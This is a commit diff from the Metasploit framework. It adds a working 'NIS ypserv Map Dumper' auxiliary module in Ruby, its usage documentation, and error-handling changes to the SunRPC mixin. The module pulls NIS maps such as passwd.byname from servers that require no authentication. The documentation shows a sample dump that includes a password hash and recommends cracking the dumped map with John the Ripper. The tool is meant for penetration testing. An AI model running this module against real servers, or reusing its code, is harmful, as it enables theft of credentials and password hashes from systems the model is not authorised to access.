commit
4b225c30fd
|
@ -0,0 +1,108 @@
|
||||||
|
## Intro
|
||||||
|
|
||||||
|
If you've worked with old Unix systems before, you've probably
|
||||||
|
encountered NIS (Network Information Service). The most familiar way of
|
||||||
|
describing it is a sort of hybrid between DNS and LDAP.
|
||||||
|
|
||||||
|
[Oracle][1] says the following about it:
|
||||||
|
|
||||||
|
> NIS is a distributed naming service. It is a mechanism for identifying and locating network objects and resources. It provides a uniform storage and retrieval method for network-wide information in a transport-protocol and media-independent fashion.
|
||||||
|
|
||||||
|
And on its use:
|
||||||
|
|
||||||
|
> By running NIS, the system administrator can distribute administrative databases, called maps, among a variety of servers (master and slaves). The administrator can update those databases from a centralized location in an automatic and reliable fashion to ensure that all clients share the same naming service information in a consistent manner throughout the network.
|
||||||
|
|
||||||
|
The module documented within will allow a tester to dump any map from an
|
||||||
|
NIS server (running as `ypserv`). Usually, maps like `passwd.byname`
|
||||||
|
contain things like hashes and user info, which can go a long way during
|
||||||
|
a pentest.
|
||||||
|
|
||||||
|
## Setup
|
||||||
|
|
||||||
|
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
|
||||||
|
If the link is down, you can find it via the Wayback Machine.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**PROTOCOL**
|
||||||
|
|
||||||
|
Set this to either TCP or UDP. TCP is the default due to easy discovery.
|
||||||
|
|
||||||
|
**DOMAIN**
|
||||||
|
|
||||||
|
Set this to your NIS domain.
|
||||||
|
|
||||||
|
**MAP**
|
||||||
|
|
||||||
|
Set this to the NIS map you want to dump. The default is `passwd`. You
|
||||||
|
can use the nicknames described in the module info instead of the full
|
||||||
|
map names.
|
||||||
|
|
||||||
|
**XDRTimeout**
|
||||||
|
|
||||||
|
Set this to the timeout in seconds for XDR decoding of the response.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use auxiliary/gather/nis_ypserv_map
|
||||||
|
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.0.2
|
||||||
|
rhost => 192.168.0.2
|
||||||
|
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
|
||||||
|
domain => gesellschaft
|
||||||
|
msf auxiliary(gather/nis_ypserv_map) > run
|
||||||
|
|
||||||
|
[+] 192.168.0.2:111 - Dumping map passwd.byname on domain gesellschaft:
|
||||||
|
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||||
|
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||||
|
games:*:5:60:games:/usr/games:/usr/sbin/nologin
|
||||||
|
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||||
|
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||||
|
sys:*:3:3:sys:/dev:/usr/sbin/nologin
|
||||||
|
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||||
|
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||||
|
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||||
|
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||||
|
bin:*:2:2:bin:/bin:/usr/sbin/nologin
|
||||||
|
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||||
|
sync:*:4:65534:sync:/bin:/bin/sync
|
||||||
|
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||||
|
uuidd:*:108:112::/run/uuidd:/bin/false
|
||||||
|
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
|
||||||
|
root:*:0:0:root:/root:/bin/bash
|
||||||
|
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
|
||||||
|
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||||
|
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||||
|
messagebus:*:107:111::/var/run/dbus:/bin/false
|
||||||
|
_apt:*:105:65534::/nonexistent:/bin/false
|
||||||
|
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||||
|
syslog:*:104:108::/home/syslog:/bin/false
|
||||||
|
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||||
|
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||||
|
pollinate:*:111:1::/var/cache/pollinate:/bin/false
|
||||||
|
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||||
|
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
|
||||||
|
lxd:*:106:65534::/var/lib/lxd/:/bin/false
|
||||||
|
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf auxiliary(gather/nis_ypserv_map) >
|
||||||
|
```
|
||||||
|
|
||||||
|
After dumping a map, you can find it stored in `loot` later. You should
|
||||||
|
be able to run something like John the Ripper directly on the
|
||||||
|
`passwd.byname` map.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf auxiliary(gather/nis_ypserv_map) > loot
|
||||||
|
|
||||||
|
Loot
|
||||||
|
====
|
||||||
|
|
||||||
|
host service type name content info path
|
||||||
|
---- ------- ---- ---- ------- ---- ----
|
||||||
|
192.168.0.2 passwd.byname text/plain /home/wvu/.msf4/loot/20180108143013_default_192.168.0.2_passwd.byname_509006.txt
|
||||||
|
|
||||||
|
msf auxiliary(gather/nis_ypserv_map) >
|
||||||
|
```
|
||||||
|
|
||||||
|
[1]: https://docs.oracle.com/cd/E23824_01/html/821-1455/anis1-25461.html
|
|
@ -36,7 +36,7 @@ module Exploit::Remote::SunRPC
|
||||||
|
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 5])
|
OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 10])
|
||||||
# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req
|
# XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req
|
||||||
], Msf::Exploit::Remote::SunRPC)
|
], Msf::Exploit::Remote::SunRPC)
|
||||||
|
|
||||||
|
@ -70,7 +70,12 @@ module Exploit::Remote::SunRPC
|
||||||
ret = rpcobj.create
|
ret = rpcobj.create
|
||||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
|
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
|
||||||
|
|
||||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
|
begin
|
||||||
|
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
|
||||||
|
rescue Rex::ArgumentError
|
||||||
|
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||||
|
end
|
||||||
|
|
||||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||||
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
|
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
|
||||||
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
|
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED
|
||||||
|
@ -86,7 +91,12 @@ module Exploit::Remote::SunRPC
|
||||||
ret = rpcobj.call(proc, buf, timeout)
|
ret = rpcobj.call(proc, buf, timeout)
|
||||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
|
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
|
||||||
|
|
||||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
begin
|
||||||
|
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||||
|
rescue Rex::ArgumentError
|
||||||
|
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||||
|
end
|
||||||
|
|
||||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
|
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS
|
||||||
progname = progresolv(rpcobj.program)
|
progname = progresolv(rpcobj.program)
|
||||||
err = "SunRPC call for program #{rpcobj.program} [#{progname}], procedure #{proc}, failed: "
|
err = "SunRPC call for program #{rpcobj.program} [#{progname}], procedure #{proc}, failed: "
|
||||||
|
@ -127,7 +137,13 @@ module Exploit::Remote::SunRPC
|
||||||
# XXX: Incomplete. Just moved from Rex::Proto::SunRPC::Client
|
# XXX: Incomplete. Just moved from Rex::Proto::SunRPC::Client
|
||||||
def portmap_qry()
|
def portmap_qry()
|
||||||
ret = portmap_req()
|
ret = portmap_req()
|
||||||
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
|
||||||
|
begin
|
||||||
|
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer)
|
||||||
|
rescue Rex::ArgumentError
|
||||||
|
raise Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}"
|
||||||
|
end
|
||||||
|
|
||||||
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
|
||||||
progname = progresolv(rpcobj.program)
|
progname = progresolv(rpcobj.program)
|
||||||
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
|
err = "Query for program #{rpcobj.program} [#{progname}] failed: "
|
||||||
|
|
|
@ -0,0 +1,167 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::SunRPC
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'NIS ypserv Map Dumper',
|
||||||
|
'Description' => %q{
|
||||||
|
This module dumps the specified map from NIS ypserv.
|
||||||
|
|
||||||
|
The following examples are from ypcat -x:
|
||||||
|
|
||||||
|
Use "ethers" for map "ethers.byname"
|
||||||
|
Use "aliases" for map "mail.aliases"
|
||||||
|
Use "services" for map "services.byname"
|
||||||
|
Use "protocols" for map "protocols.bynumber"
|
||||||
|
Use "hosts" for map "hosts.byname"
|
||||||
|
Use "networks" for map "networks.byaddr"
|
||||||
|
Use "group" for map "group.byname"
|
||||||
|
Use "passwd" for map "passwd.byname"
|
||||||
|
|
||||||
|
You may specify a map by one of the nicknames above.
|
||||||
|
},
|
||||||
|
'Author' => 'wvu',
|
||||||
|
'References' => [
|
||||||
|
['URL', 'https://tools.ietf.org/html/rfc1831'],
|
||||||
|
['URL', 'https://tools.ietf.org/html/rfc4506']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'tcp', %w{tcp udp}]),
|
||||||
|
OptString.new('DOMAIN', [true, 'NIS domain']),
|
||||||
|
OptString.new('MAP', [true, 'NIS map to dump', 'passwd'])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
proto = datastore['PROTOCOL']
|
||||||
|
domain = datastore['DOMAIN']
|
||||||
|
map_name = nick_to_map(datastore['MAP'])
|
||||||
|
|
||||||
|
begin
|
||||||
|
sunrpc_create(
|
||||||
|
proto, # Protocol: TCP (6)
|
||||||
|
100004, # Program: YPSERV (100004)
|
||||||
|
2 # Program Version: 2
|
||||||
|
)
|
||||||
|
rescue Rex::ConnectionError
|
||||||
|
print_error('Could not connect to portmapper')
|
||||||
|
return
|
||||||
|
rescue Rex::Proto::SunRPC::RPCError
|
||||||
|
print_error('Could not connect to ypserv')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# Flavor: AUTH_NULL (0)
|
||||||
|
sunrpc_authnull
|
||||||
|
|
||||||
|
# XXX: domain and map_name are modified in place
|
||||||
|
ypserv_all_call = Rex::Encoder::XDR.encode(
|
||||||
|
domain, # Domain: [redacted]
|
||||||
|
map_name # Map Name: passwd.byname
|
||||||
|
)
|
||||||
|
|
||||||
|
begin
|
||||||
|
res = sunrpc_call(
|
||||||
|
8, # Procedure: ALL (8)
|
||||||
|
ypserv_all_call # Yellow Pages Service ALL call
|
||||||
|
)
|
||||||
|
rescue Rex::Proto::SunRPC::RPCError
|
||||||
|
print_error('Could not call ypserv procedure')
|
||||||
|
return
|
||||||
|
ensure
|
||||||
|
# Shut it down! Shut it down forever!
|
||||||
|
sunrpc_destroy
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.nil? || res.length < 8
|
||||||
|
print_error('Invalid response from server')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
# XXX: Rex::Encoder::XDR doesn't do signed ints
|
||||||
|
case res[4, 4].unpack('l>').first
|
||||||
|
# Status: YP_NOMAP (-1)
|
||||||
|
when -1
|
||||||
|
print_error("Invalid map #{map_name} specified")
|
||||||
|
return
|
||||||
|
# Status: YP_NODOM (-2)
|
||||||
|
when -2
|
||||||
|
print_error("Invalid domain #{domain} specified")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
map = begin
|
||||||
|
Timeout.timeout(datastore['XDRTimeout']) do
|
||||||
|
parse_map(res)
|
||||||
|
end
|
||||||
|
rescue Timeout::Error
|
||||||
|
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if map.nil? || map.empty?
|
||||||
|
print_error("Could not parse map #{map_name}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
map_file = map.values.join("\n") + "\n"
|
||||||
|
|
||||||
|
print_good("Dumping map #{map_name} on domain #{domain}:\n#{map_file}")
|
||||||
|
|
||||||
|
# XXX: map_name contains null bytes if its length isn't a multiple of four
|
||||||
|
store_loot(map_name.strip, 'text/plain', rhost, map_file)
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_map(res)
|
||||||
|
map = {}
|
||||||
|
|
||||||
|
loop do
|
||||||
|
begin
|
||||||
|
# XXX: res is modified in place
|
||||||
|
_, status, value, key = Rex::Encoder::XDR.decode!(
|
||||||
|
res,
|
||||||
|
Integer, # More: Yes
|
||||||
|
Integer, # Status: YP_TRUE (1)
|
||||||
|
String, # Value: [redacted]
|
||||||
|
String # Key: [redacted]
|
||||||
|
)
|
||||||
|
|
||||||
|
status == 1 ? map[key] = value : break
|
||||||
|
rescue Rex::ArgumentError
|
||||||
|
vprint_status("Finished XDR decoding at #{res.inspect}")
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
map
|
||||||
|
end
|
||||||
|
|
||||||
|
# ypcat -x
|
||||||
|
def nick_to_map(nick)
|
||||||
|
{
|
||||||
|
'ethers' => 'ethers.byname',
|
||||||
|
'aliases' => 'mail.aliases',
|
||||||
|
'services' => 'services.byname',
|
||||||
|
'protocols' => 'protocols.bynumber',
|
||||||
|
'hosts' => 'hosts.byname',
|
||||||
|
'networks' => 'networks.byaddr',
|
||||||
|
'group' => 'group.byname',
|
||||||
|
'passwd' => 'passwd.byname'
|
||||||
|
}[nick] || nick
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue